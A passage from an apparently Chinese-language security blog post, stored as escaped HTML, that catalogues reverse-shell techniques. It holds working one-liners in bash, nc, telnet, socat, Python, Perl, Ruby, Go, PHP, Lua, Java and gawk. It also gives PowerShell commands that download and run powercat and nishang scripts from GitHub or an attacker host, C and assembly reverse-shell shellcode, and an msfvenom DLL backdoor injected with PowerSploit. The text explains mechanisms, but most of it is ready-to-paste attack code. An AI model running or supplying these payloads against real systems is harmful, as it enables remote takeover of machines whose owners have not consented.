2333 &gt;\/tmp\/f\n- \u201cmkfifo\u201d\uff1a\u9996\u5148\u521b\u5efa\u4e86\u4e00\u4e2a\u7ba1\u9053\n- \u201ccat\u201d\uff1a\u5c06\u7ba1\u9053\u91cc\u9762\u7684\u5185\u5bb9\u8f93\u51fa\u4f20\u9012\u7ed9\/bin\/sh\n- \u201c\/bin\/sh -i 2&gt;&amp;1|nc .... &gt; \/tmp\/f\u201d\uff1ash\u4f1a\u6267\u884c\u7ba1\u9053\u91cc\u7684\u547d\u4ee4\u5e76\u5c06\u6807\u51c6\u8f93\u51fa\u548c\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u7ed3\u679c\u901a\u8fc7nc \u4f20\u5230\u8be5\u7ba1\u9053\uff0c\u7531\u6b64\u5f62\u6210\u4e86\u4e00\u4e2a\u56de\u8def\n\nmknod backpipe p; nc 192.168.207.128 2333 0&lt;backpipe | \/bin\/bash 1&gt;backpipe 2&gt;backpipe<\/code><\/pre>\n<h3>\u7b2c\u4e09\u65b9\u8f6f\u4ef6\u5185\u7f6e\u201csocket\u901a\u4fe1\u201d+\u201c\u6307\u4ee4\u4ea4\u4e92\u201d\u5b9e\u73b0\u53cd\u5f39shel\u529f\u80fd<\/h3>\n<p>\u7b2c\u4e09\u65b9\u8f6f\u4ef6\u53ef\u4ee5\u901a\u8fc7\u7f16\u8bd1\u6027\u6216\u8005\u89e3\u91ca\u6027\u8bed\u8a00\uff0c\u5728\u5185\u90e8\u5b9e\u73b0\u7cfb\u7edf\u547d\u4e2d\u7684\u8c03\u7528\u6267\u884c\u4ee5\u53ca\u7f51\u7edc\u53cc\u5411\u901a\u4fe1\u7684\u529f\u80fd\u3002\u7406\u8bba\u4e0a\u8bf4\uff0c\u8fd9\u7c7b\u65b9\u5f0f\u7684\u53d8\u5316\u662f\u65e0\u9650\u7684\u3002<\/p>\n<h4>nc<\/h4>\n<p>nc \u5982\u679c\u5b89\u88c5\u4e86\u6b63\u786e\u7684\u7248\u672c\uff08\u5b58\u5728-e \u9009\u9879\u5c31\u80fd\u76f4\u63a5\u53cd\u5f39shell\uff09<\/p>\n<pre><code class=\"language-bash\">nc -e \/bin\/sh 192.168.207.128 2333<\/code><\/pre>\n<h4>telnet\u53cd\u5f39shell<\/h4>\n<pre><code class=\"language-bash\">mknod a p; telnet 10.211.55.2 7777 0&lt;a | \/bin\/bash 1&gt;a\ntelnet x.x.x.x 6666 | \/bin\/bash | telnet x.x.x.x 5555<\/code><\/pre>\n<h4>socat\u53cd\u5f39shell<\/h4>\n<pre><code class=\"language-bash\"># \u76d1\u542c\u547d\u4ee4\nsocat file:`tty`,raw,echo=0 tcp-listen:9999\n# \u53cd\u5f39\u547d\u4ee4\nsocat exec:&#039;bash -li&#039;,pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999<\/code><\/pre>\n<h4>Xterm<\/h4>\n<pre><code class=\"language-bash\"># \u5728\u4e3b\u63a7\u7aef\u914d\u7f6e\n# \u5f00\u542fXserver\uff1a\u3000\u3000# TCP 6001\nXnest :1                \n\n# \u6388\u4e88\u76ee\u6807\u673a\u8fde\u56de\u6765\u7684\u6743\u9650\uff1a\nxterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab\nxhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server\n# \u5982\u679c\u60f3\u8ba9\u4efb\u4f55\u4eba\u90fd\u8fde\u4e0a\uff1a\nxhost +                      \n\n# \u5728\u53d7\u63a7\u7aef\u6267\u884c\n# \u5047\u8bbexterm\u5df2\u5b89\u88c5\uff0c\u8fde\u56de\u4f60\u7684Xserver\uff1a\nxterm -display attackerip:1\n\u6216\u8005\uff1a\n$ DISPLAY=attackerip:0 xterm<\/code><\/pre>\n<h3>\u201c\u7ba1\u9053\u7b26\u201d+ \u201csocket\u7f51\u7edc\u901a\u4fe1\u201d\u5b9e\u73b0bash\u53cd\u5f39shell<\/h3>\n<h4>\u57fa\u4e8e\u533f\u540d\u7ba1\u9053\uff08pipe\uff09\u4f20\u9012\u6307\u4ee4\u6d41<\/h4>\n<pre><code class=\"language-bash\"># client\nnc 192.168.43.146 7777 | \/bin\/bash | nc 192.168.43.146 8888\n# server\nncat -lvvp 7777\n# server \nncat -lvvp 8888<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/Kp\/image-20231013184146308.png\" alt=\"image-20231013184146308\" \/><\/p>\n<p>bash\u8fdb\u7a0b\u7684\u8f93\u5165\u8f93\u51fa\u90fd\u6765\u81ea\u5176\u4ed6\u8fdb\u7a0b\u7684pipe\uff08\u7ba1\u9053\uff09\u3002<\/p>\n<h4>\u57fa\u4e8e\u547d\u540d\u7ba1\u9053\uff08fifo\uff09<\/h4>\n<p>fifo\u662f\u547d\u540d\u7ba1\u9053\u4e5f\u88ab\u79f0\u4e3aFIFO\u6587\u4ef6\uff0c\u5b83\u662f\u4e00\u79cd\u7279\u6b8a\u7c7b\u578b\u7684\u6587\u4ef6\uff0c\u5b83\u5728\u6587\u4ef6\u7cfb\u7edf\u4e2d\u4ee5\u6587\u4ef6\u540d\u7684\u5f62\u5f0f\u5b58\u5728\uff08\u56e0\u4e3a\u591a\u4e2a\u8fdb\u7a0b\u8981\u8bc6\u522b\uff09\uff0c\u5b83\u7684\u884c\u4e3a\u548c\u533f\u540d\u7ba1\u9053\u7c7b\u4f3c\uff08\u4e00\u7aef\u8bfb\u4e00\u7aef\u5199\uff09\uff0c\u4f46\u662fFIFO\u6587\u4ef6\u4e5f\u4e0d\u5728\u78c1\u76d8\u8fdb\u884c\u5b58\u50a8\u3002\u4e00\u822c\u7528\u4e8e\u8fdb\u7a0b\u95f4\u7684\u901a\u4fe1\u3002<\/p>\n<pre><code class=\"language-bash\">rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|nc 110.211.55.2 7777 &gt;\/tmp\/f<\/code><\/pre>\n<ul>\n<li>mkfifo \u547d\u4ee4\u9996\u5148\u521b\u5efa\u4e86\u4e00\u4e2a\u7ba1\u9053<\/li>\n<li>cat \u5c06\u7ba1\u9053\u91cc\u9762\u7684\u5185\u5bb9\u8f93\u51fa\u4f20\u9012\u7ed9\/bin\/sh<\/li>\n<li>sh\u4f1a\u6267\u884c\u7ba1\u9053\u91cc\u7684\u547d\u4ee4\u5e76\u5c06\u6807\u51c6\u8f93\u51fa\u548c\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u7ed3\u679c\u901a\u8fc7 nc \u4f20\u5230\u8be5\u7ba1\u9053\uff0c\u7531\u6b64\u5f62\u6210\u4e86\u4e00\u4e2a\u56de\u8def<\/li>\n<\/ul>\n<h3>git\u89e3\u91ca\u6027\u811a\u672c\u8bed\u8a00\u53cd\u5f39shell<\/h3>\n<h4>1. python\u53cd\u5f39shell<\/h4>\n<pre><code class=\"language-python\">python -c &quot;import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#039;ip&#039;,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&#039;\/bin\/bash&#039;,&#039;-i&#039;]);&quot;\n\n# \u62c6\u6210\u591a\u884c\u65b9\u4fbf\u9605\u8bfb\nimport os,socket,subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((&#039;ip&#039;,port))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call([&#039;\/bin\/bash&#039;,&#039;-i&#039;])<\/code><\/pre>\n<ul>\n<li>\u4f7f\u7528duo2\u65b9\u6cd5\u5c06\u7b2c\u4e8c\u4e2a\u5f62\u53c2\uff08\u6587\u4ef6\u63cf\u8ff0\u7b26\uff09\u6307\u5411\u7b2c\u4e00\u4e2a\u5f62\u53c2\uff08socket\u94fe\u63a5\uff09\n<ul>\n<li>os.dup2(s.fileno(),0)<\/li>\n<li>os.dup2(s.fileno(),1)<\/li>\n<li>os.dup2(s.fileno(),2)<\/li>\n<\/ul>\n<\/li>\n<li>\u4f7f\u7528os\u7684subprocess\u5728\u672c\u5730\u5f00\u542f\u4e00\u4e2a\u5b50\u8fdb\u7a0b\uff0c\u542f\u52a8bash\u4ea4\u4e92\u6a21\u5f0f\uff0c\u6807\u51c6\u8f93\u5165\u3001\u6807\u51c6\u8f93\u51fa\u3001\u6807\u51c6\u9519\u8bef\u8f93\u51fa\u88ab\u91cd\u5b9a\u5411\u5230\u4e86\u8fdc\u7a0b<\/li>\n<\/ul>\n<h4>2.  perl\u53cd\u5f39shell<\/h4>\n<pre><code class=\"language-perl\">perl -e &#039;use Socket;$i=\u201d10.211.55.2&quot;;$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;\/bin\/sh -i&quot;);};&#039;\n\n# \u62c6\u6210\u591a\u884c\u65b9\u4fbf\u9605\u8bfb\nuse Socket\n$i=\u201d10.211.55.2&quot;\n$p=7777\nsocket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;))\nif(connect(S,sockaddr_in($p,inet_aton($i)))){\n    open(STDIN,&quot;&gt;&amp;S&quot;)\n    open(STDOUT,&quot;&gt;&amp;S&quot;)\n    open(STDERR,&quot;&gt;&amp;S&quot;)\n    exec(&quot;\/bin\/sh -i&quot;)\n}<\/code><\/pre>\n<h4>3.  ruby\u53cd\u5f39shell<\/h4>\n<pre><code class=\"language-ruby\">ruby -rsocket -e&#039;f=TCPSocket.open(&quot;10.0.0.1&quot;,1234).to_i;exec sprintf(&quot;\/bin\/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d&quot;,f,f,f)\u2019<\/code><\/pre>\n<h3>4. go\u53cd\u5f39shell<\/h3>\n<pre><code class=\"language-go\">echo &#039;package main;import&quot;os\/exec&quot;;import&quot;net&quot;;func main(){c,_:=net.Dial(&quot;tcp&quot;,&quot;192.168.0.134:8080&quot;);cmd:=exec.Command(&quot;\/bin\/sh&quot;);cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}&#039; &gt; \/tmp\/t.go &amp;&amp; go run \/tmp\/t.go &amp;&amp; rm \/tmp\/t.go<\/code><\/pre>\n<h4>5. php\u53cd\u5f39shell<\/h4>\n<pre><code class=\"language-php\">php \u2013r  &#039;exec(&quot;\/bin\/bash -i &gt;&amp; \/dev\/tcp\/127.0.0.1\/7777&quot;)\u2019<\/code><\/pre>\n<h3>6. lua\u53cd\u5f39shell<\/h3>\n<pre><code class=\"language-lua\">lua -e &quot;require(&#039;socket&#039;);require(&#039;os&#039;);t=socket.tcp();t:connect(&#039;10.0.0.1&#039;,&#039;1234&#039;);os.execute(&#039;\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&#039;);&quot;<\/code><\/pre>\n<h3>7. java<\/h3>\n<pre><code class=\"language-java\">r = Runtime.getRuntime()\np = r.exec([&quot;\/bin\/bash&quot;,&quot;-c&quot;,&quot;exec 5&lt;&gt;\/dev\/tcp\/10.0.0.1\/2002;cat &lt;&amp;5 | while read line; do \\$line 2&gt;&amp;5 &gt;&amp;5; done&quot;] as String[])\np.waitFor()<\/code><\/pre>\n<h3>8. gawk<\/h3>\n<pre><code class=\"language-gawk\">#!\/usr\/bin\/gawk -f\n\nBEGIN {\n        Port    =       8080\n        Prompt  =       &quot;bkd&gt; &quot;\n\n        Service = &quot;\/inet\/tcp\/&quot; Port &quot;\/0\/0&quot;\n        while (1) {\n                do {\n                        printf Prompt |&amp; Service\n                        Service |&amp; getline cmd\n                        if (cmd) {\n                                while ((cmd |&amp; getline) &gt; 0)\n                                        print $0 |&amp; Service\n                                close(cmd)\n                        }\n                } while (cmd != &quot;exit&quot;)\n                close(Service)\n        }\n}<\/code><\/pre>\n<h3>9. powershell\u53cd\u5f39shell<\/h3>\n<p>powershell\u53cd\u5f39shell\u672c\u8d28\u4e0a\u662f\u4e00\u4e9b\u591a\u529f\u80fd\u4ee3\u7801\u96c6\u5408\uff0c\u901a\u8fc7\u8c03\u7528windows\u63d0\u4f9b\u7684api\u63a5\u53e3\u5b9e\u73b0\u7f51\u7edc\u901a\u4fe1\u548c\u6307\u4ee4\u89e3\u6790\u6267\u884c\u7684\u529f\u80fd\u3002<\/p>\n<h4>1\uff09powercat\u53cd\u5f39shell<\/h4>\n<pre><code class=\"language-powercat\"># \u653b\u51fb\u8005(192.168.159.134)\u5f00\u542f\u76d1\u542c\uff1a\nnc -lvp 6666\n# \u6216\u8005\u4f7f\u7528powercat\u76d1\u542c\npowercat -l -p 6666\n\n# \u76ee\u6807\u673a\u53cd\u5f39cmd shell\uff1a\npowershell IEX (New-Object System.Net.Webclient).DownloadString\n(&#039;https:\/\/raw.githubusercontent.com\/besimorhino\/powercat\/master\/powercat.ps1&#039;);\npowercat -c 192.168.159.134 -p 6666 -e cmd<\/code><\/pre>\n<h4>2\uff09nishang\u53cd\u5f39shell<\/h4>\n<p>Nishang\u662f\u4e00\u4e2a\u57fa\u4e8ePowerShell\u7684\u653b\u51fb\u6846\u67b6\uff0c\u96c6\u5408\u4e86\u4e00\u4e9bPowerShell\u653b\u51fb\u811a\u672c\u548c\u6709\u6548\u8f7d\u8377\uff0c\u53ef\u53cd\u5f39TCP\/ UDP\/ HTTP\/HTTPS\/ ICMP\u7b49\u7c7b\u578bshell\u3002<\/p>\n<p><strong>## Reverse TCP shell<\/strong><\/p>\n<pre><code># \u653b\u51fb\u8005(192.168.159.134)\u5f00\u542f\u76d1\u542c\uff1a\nnc -lvp 6666\n\n# \u76ee\u6807\u673a\u6267\u884c\uff1a\npowershell IEX (New-Object Net.WebClient).DownloadString(&#039;https:\/\/raw.githubusercontent.com\n\/samratashok\/nishang\/9a3c747bcf535ef82dc4c5c66aac36db47c2afde\/Shells\/Invoke-PowerShellTcp.ps1&#039;);\nInvoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666\n\n# \u6216\u8005\u5c06nishang\u4e0b\u8f7d\u5230\u653b\u51fb\u8005\u672c\u5730\uff1a\npowershell IEX (New-Object Net.WebClient).DownloadString(&#039;http:\/\/192.168.159.134\/nishang\/Shells\/Invoke-PowerShellTcp.ps1&#039;);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666<\/code><\/pre>\n<p><strong>## Reverse UDP shell<\/strong><\/p>\n<pre><code># \u653b\u51fb\u8005(192.168.159.134)\u5f00\u542f\u76d1\u542c\uff1a\nnc -lvup 53\n\n# \u76ee\u6807\u673a\u6267\u884c\uff1a\npowershell IEX (New-Object Net.WebClient).DownloadString(&#039;http:\/\/192.168.159.134\/nishang\/Shells\/Invoke-PowerShellUdp.ps1&#039;);\nInvoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53<\/code><\/pre>\n<p><strong>## Reverse ICMP shell<\/strong><\/p>\n<pre><code># \u9996\u5148\u653b\u51fb\u7aef\u4e0b\u8f7dicmpsh_m.py\u6587\u4ef6\nhttps:\/\/github.com\/inquisb\/icmpsh)\u548cnishang\u4e2d\u7684Invoke-PowerShellIcmp.ps1\n\n# \u653b\u51fb\u8005(192.168.159.134)\u6267\u884c\nsysctl -w net.ipv4.icmp_echo_ignore_all=1 #\u5ffd\u7565\u6240\u6709icmp\u5305\npython icmpsh_m.py 192.168.159.134 192.168.159.138 #\u5f00\u542f\u76d1\u542c\n\n# \u76ee\u6807\u673a(192.168.159.138)\u6267\u884c\npowershell IEX (New-Object Net.WebClient).DownloadString(&#039;http:\/\/192.168.159.134\/nishang\/Shells\/Invoke-PowerShellIcmp.ps1&#039;);Invoke-PowerShellIcmp -IPAddress 192.168.159.134<\/code><\/pre>\n<h4>3\uff09\u81ea\u5b9a\u4e49powershell\u51fd\u6570\u53cd\u5f39shell<\/h4>\n<p>\u5229\u7528powershell\u521b\u5efa\u4e00\u4e2aNet.Sockets.TCPClient\u5bf9\u8c61\uff0c\u901a\u8fc7Socket\u53cd\u5f39tcp shell\u3002<\/p>\n<pre><code># \u653b\u51fb\u8005(192.168.159.134) \u5f00\u542f\u76d1\u542c \nnc -lvp 6666\n\n# \u76ee\u6807\u673a\u6267\u884c \npowershell -nop -c &quot;$client = New-Object Net.Sockets.TCPClient(&#039;192.168.159.134&#039;,6666);$stream = $client.GetStream();\n[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;\n$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );\n$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);\n$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&quot;<\/code><\/pre>\n<h4>4\uff09Empire \u7ed3\u5408office\u53cd\u5f39shell<\/h4>\n<p>\u57fa\u4e8epowershell\u7684\u540e\u6e17\u900f\u653b\u51fb\u6846\u67b6\uff0c\u53ef\u5229\u7528office\u5b8f\u3001OLE\u5bf9\u8c61\u63d2\u5165\u6279\u5904\u7406\u6587\u4ef6\u3001HTML\u5e94\u7528\u7a0b\u5e8f(HTAs)\u7b49\u8fdb\u884c\u53cd\u5f39shell\u3002<\/p>\n<ul>\n<li>\u5229\u7528office\u5b8f\u53cd\u5f39shell <\/li>\n<li>\u5229\u7528office OLE\u5bf9\u8c61\u63d2\u5165bat\u6587\u4ef6\u53cd\u5f39shell<\/li>\n<\/ul>\n<p><strong>Relevant Link:<\/strong> <\/p>\n<pre><code class=\"language-html\">https:\/\/www.anquanke.com\/post\/id\/99793<\/code><\/pre>\n<h4>10. regsvr32\u53cd\u5f39shell<\/h4>\n<h3>msf\u751f\u6210payload\u53cd\u5f39shell<\/h3>\n<h4>1. \u751f\u6210\u811a\u672c\u89e3\u91ca\u578b\u4ee3\u7801\u5e76\u6267\u884c<\/h4>\n<p>\u672c\u8d28\u4e0a\u5c31\u662f\u5728\u76ee\u6807\u673a\u5668\u6267\u884c\u4e86\u4e00\u6bb5Python\u4ee3\u7801\uff0c\u548c\u4e0a\u4e00\u7ae0\u8282\u7684python\u53cd\u5f39shell\u6ca1\u6709\u672c\u8d28\u533a\u522b\u3002<\/p>\n<h4>2. \u751f\u6210\u7f16\u8bd1\u578b\u4e8c\u8fdb\u5236\u6587\u4ef6\u5e76\u6267\u884c<\/h4>\n<p>\u672c\u8d28\u4e0a\u5c31\u662f\u5728\u76ee\u6807\u673a\u5668\u6267\u884c\u4e86\u4e00\u4e2a\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u3002<\/p>\n<h4>3. \u5185\u5b58shellcode\u6267\u884c<\/h4>\n<p>\u901a\u8fc7shellcode\u76f4\u63a5\u8c03\u7528glibc\u6216\u8005syscall\u5b8c\u6210\u53cd\u5f39shell\u3002 <\/p>\n<h5>1\uff09C\u4ee3\u7801<\/h5>\n<pre><code class=\"language-c\">#include&lt;sys\/socket.h&gt;   \/\/\u6784\u9020socket\u6240\u9700\u7684\u5e93\n#include&lt;netinet\/in.h&gt;  \/\/\u5b9a\u4e49sockaddr\u7ed3\u6784\nint main()\n{\n  char *shell[2];       \/\/\u7528\u4e8eexecv\u8c03\u7528\n  int soc,remote;    \/\/\u6587\u4ef6\u63cf\u8ff0\u7b26\u53e5\u67c4\n  struct sockaddr_in serv_addr; \/\/\u4fdd\u5b58IP\/\u7aef\u53e3\u503c\u7684\u7ed3\u6784\n\n  serv_addr.sin_addr.s_addr=0x6400A8C0;  \/\/\u5c06socket\u7684\u5730\u5740\u8bbe\u7f6e\u4e3a\u6240\u6709\u672c\u5730\u5730\u5740\n  serv_addr.sin_port=0xBBBB;  \/\/\u8bbe\u7f6esocket\u7684\u7aef\u53e348059\n  serv_addr.sin_family=2;   \/\/\u8bbe\u7f6e\u534f\u8bae\u65cf\uff1aIP\n  soc=socket(2,1,0);\n  remote=connect(soc,(struct sockaddr *)&amp;serv_addr,0x10);\n\n  dup2(soc,0);   \/\/\u5c06stdin\u8fde\u63a5client\n  dup2(soc,1);   \/\/\u5c06stdout\u8fde\u63a5client\n  dup2(soc,2);   \/\/\u5c06strderr\u8fde\u63a5\u5230client\n  shell[0]=&quot;\/bin\/sh&quot;;   \/\/execve\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\n  shell[1]=0;           \/\/\u6570\u7ec4\u7684\u7b2c\u4e8c\u4e2a\u5143\u7d20\u4e3aNULL,\u8868\u793a\u6570\u7ec4\u7ed3\u675f\n  execv(shell[0],shell,NULL);   \/\/\u5efa\u7acb\u4e00\u4e2ashell\n}<\/code><\/pre>\n<h5>2\uff09\u6c47\u7f16\u8bed\u8a00\u4ee3\u7801<\/h5>\n<pre><code class=\"language-asm\">section .text\nglobal _start\n_start:\nxor eax,eax ;\u6e05\u7a7aeax\nxor ebx,ebx ;\u6e05\u7a7aebx\nxor edx,edx  ;\u6e05\u7a7aedx\n\n;soc=socket(2,1,0)\npush eax  ;socket\u7684\u7b2c\u4e09\u4e2a\u53c2\u6570\uff1a0\npush byte 0x1 ;socket\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff1a1\npush byte 0x2 ;socket\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\uff1a2\nmov ecx,esp ;\u5c06\u6570\u7ec4\u7684\u5730\u5740\u8bbe\u7f6e\u4e3asocketcall\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\ninc bl  ;\u5c06socketcall\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u8bbe\u7f6e\u4e3a1\nmov al,102  ;\u8c03\u7528socketcall,\u5206\u652f\u8c03\u7528\u53f7\u4e3a1\uff1aSYS_SOCKET\nint 0x80  ;\u8fdb\u5165\u6838\u5fc3\u6001\uff0c\u6267\u884c\u7cfb\u7edf\u8c03\u7528\nmov esi,eax ;\u5c06\u8fd4\u56de\u503c(eax)\u5b58\u50a8\u5230esi\u4e2d\uff08\u5373soc\u53e5\u67c4\uff09\n\n;remote=connect(soc,(struct sockaddr *)&amp;serv_addr,0x10)\npush edx; ;\u4ecd\u7136\u4e3a0\uff0c\u7528\u6765\u4f5c\u4e3a\u63a5\u4e0b\u6765\u538b\u6808\u7684\u6570\u636e\u7684\u7ed3\u675f\u7b26\npush long 0x6400A8C0  ;\u672c\u8282\u4ee3\u7801\u4e2d\u65b0\u589e\uff0c\u5c06\u5730\u5740\u53cd\u5e8f\u5f97\u5230\u7684\u5341\u516d\u8fdb\u5236\u538b\u6808\npush word 0xBBBB  ;\u5c06\u7aef\u53e3\u538b\u6808\uff0c\u5341\u8fdb\u5236\u4e3a48059\nxor ecx,ecx ;\u6e05\u7a7aecx\uff0c\u4ee5\u4fbf\u4fdd\u5b58\u7ed3\u6784\u7684sa_family\u5b57\u6bb5\nmov cl,2  ;\u5c06ecx\u7684\u5730\u4f4d\u5b57\u8282\uff0c\u8bbe\u7f6e\u4e3a2\npush word cx  ;\u5efa\u7acb\u7ed3\u6784\uff0c\u5305\u62ec\u7aef\u53e3\u548csin.family,\u5171\u56db\u4e2a\u5b57\u8282\nmov ecx,esp ;\u5c06\u7ed3\u6784\u7684\u5730\u5740\uff08\u5728\u6808\u4e0a\uff09\u590d\u5236\u5230ecx\npush byte 0x10  ;connect\u53c2\u6570\u7684\u5f00\u59cb\uff0c\u5c0616\u538b\u6808\npush ecx  ;\u5728\u6808\u4e0a\u4fdd\u5b58\u7ed3\u6784\u7684\u5730\u5740\npush esi  ;\u5c06\u670d\u52a1\u5668\u6587\u4ef6\u63cf\u8ff0\u7b26esi\u4fdd\u5b58\u5230\u6808\nmov ecx,esp ;\u5c06\u53c2\u6570\u6570\u7ec4\u7684\u5730\u5740\u4fdd\u5b58\u5230ecx\uff08socketcall\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff09\nmov bl,3  ;\u5c06bl\u8bbe\u7f6e\u4e3a3\uff0csocketcall\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\nmov al,102  ;\u8c03\u7528socketcall\uff0c\u5206\u652f\u8c03\u7528\u53f7\u4e3a3\uff1aSYS_CONNECT\nint 0x80  ;\u8fdb\u5165\u6838\u5fc3\u6001\uff0c\u6267\u884c\u7cfb\u7edf\u8c03\u7528\n\nmov ebx,esi ;\u5c06\u5ba2\u6237\u7aef\u7684soc\u6587\u4ef6\u63cf\u8ff0\u7b26\u590d\u5236\u5230ebx\n;dup2(soc,0)\nxor ecx,ecx ;\u6e05\u7a7aecx\nmov al,63 ;\u5c06\u7cfb\u7edf\u8c03\u7528\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u8bbe\u7f6e\u4e3a63\uff1adup\nint 0x80  ;\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528\n\n;dup2(client,1)\ninc ecx ;ecx\u8bbe\u7f6e\u4e3a1\nmov al,63 ;\u51c6\u5907\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528:dup2:63\nint 0x80  ;\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528\n\n;dup2(client,2)\ninc ecx ;ecx\u8bbe\u7f6e\u4e3a2\nmov al,63 ;\u51c6\u5907\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528:dup2:63\nint 0x80 ;\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528\n\n;\u6807\u51c6\u7684execv(&quot;\/bin\/sh&quot;...\npush edx\npush long 0x68732f2f\npush long 0x6e69622f\nmov ebx,esp\npush edx\npush ebx\nmov ecx,esp\nmov al,0x0b\nint 0x80<\/code><\/pre>\n<blockquote>\n<p>\u6ce8\u610f\uff0cpush long 0x6400A8C0 \u8fd9\u91cc\u5c31\u662fIP\u5730\u5740\uff0c\u51fa\u73b0\u4e8600\uff0c\u5728\u7f51\u7edc\u4f20\u8f93\u4e2d\u4f1a\u88ab\u622a\u65ad\u3002<\/p>\n<\/blockquote>\n<pre><code>nasm -f elf reverse_port_asm.asm\nld -o reverse_port_asm reverse_port_asm.o\n# \u7136\u540e\u62bd\u53d6\u5341\u516d\u8fdb\u5236\u4ee3\u7801\nobjdump -d .\/reverse_port_asm\n# \u5f97\u5230shellcode <\/code><\/pre>\n<h4>4. \u901a\u8fc7dll\u8fdb\u7a0b\u6ce8\u5165\u6267\u884c\u53cd\u5f39shell<\/h4>\n<p>PowerSploit\u662f\u53c8\u4e00\u6b3e\u57fa\u4e8epowershell\u7684\u540e\u6e17\u900f\u653b\u51fb\u6846\u67b6\u3002PowerSploit\u5305\u62ecInject-Dll(\u6ce8\u5165dll\u5230\u6307\u5b9a\u8fdb\u7a0b)\u3001Inject-Shellcode\uff08\u6ce8\u5165shellcode\u5230\u6267\u884c\u8fdb\u7a0b\uff09\u7b49\u529f\u80fd\u3002<br \/>\n\u5229\u7528msfvenom\u3001metasploit\u548cPowerSploit\u4e2d\u7684Invoke-DllInjection.ps1 \u5b9e\u73b0dll\u6ce8\u5165\uff0c\u53cd\u5f39shell\u3001<\/p>\n<pre><code class=\"language-bash\">msfvenom\u751f\u6210dll\u540e\u95e8\uff1amsfvenom -p windows\/x64\/meterpreter\/reverse_tcp  lhost=192.168.159.134 lport=6667 -f dll -o  \/var\/www\/html\/PowerSploit\/lltest.dll\n\nmetasploit\u8bbe\u7f6epayload\u5f00\u542f\u76d1\u542c\n\npowershell\u4e0b\u8f7dPowerSploit\u4e2dInvoke-DllInjection.ps1\u548cmsfvenom\u751f\u6210\u7684dll\u540e\u95e8\uff1aIEX (New-Object  Net.WebClient).DownloadString(&quot;http:\/\/192.168.159.134\/PowerSploit\/CodeExecution\/Invoke-DllInjection.ps1&quot;)Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll<\/code><\/pre>\n<p>\u672c\u8d28\u4e0a\uff0cdll\u8fdb\u7a0b\u6ce8\u5165\u548c\u4e0a\u4e00\u8282\u4ecb\u7ecd\u7684shellcode\u6267\u884c\u7684\u539f\u7406\u7684\u662f\u4e00\u6837\u7684\u3002<\/p>\n<h3>dns_shell &amp; icmp_shell<\/h3>\n<p>\u672c\u8d28\u4e0a\u8bf4\uff0cdns\u548cicmp\u662f\u4e00\u79cd\u7f51\u7edc\u901a\u4fe1\u65b9\u5f0f\uff0c\u4f7f\u7528\u4efb\u4f55\u8bed\u8a00\u90fd\u53ef\u4ee5\u501f\u52a9\u8fd9\u4e24\u79cd\u7f51\u7edc\u901a\u4fe1\u65b9\u5f0f\u8fdb\u884c\u53cd\u5f39shell\u4ea4\u4e92\u3002<\/p>\n<p>\u4f46\u662f\u6211\u4eec\u77e5\u9053\uff0cdns\u548cicmp\u548ctcp\/udp\u4e0d\u4e00\u6837\uff0c\u5b83\u4eec\u90fd\u4e0d\u662f\u76f4\u8fde\u7684\u7f51\u7edc\u4fe1\u9053\uff0c\u800c\u662f\u9700\u8981\u901a\u8fc7\u4e00\u4e2a\u7b2c\u4e09\u65b9\u8fdb\u884c\u6d88\u606f\u4e2d\u8f6c\u3002<\/p>\n<ul>\n<li>dns\uff08udp\u76f4\u8fde\u6a21\u5f0f\uff09\n<ul>\n<li>control server\u5c06\u6307\u4ee4\u5c01\u88c5\u6210dns\u5305\u683c\u5f0f\uff0c\u901a\u8fc7udp53\u76f4\u63a5\u53d1\u9001\u7ed9client<\/li>\n<li>victim 